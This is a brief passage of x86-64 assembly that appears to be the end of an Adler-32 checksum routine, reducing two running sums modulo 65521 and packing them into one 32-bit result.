shr edx, 0xf
imul eax, edx, 0xffff000f
add r9d, eax
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
test r8d, r8d
jne 0x180013ccb
shl ecx, 0x10
or ecx, r9d
mov eax, ecx
ret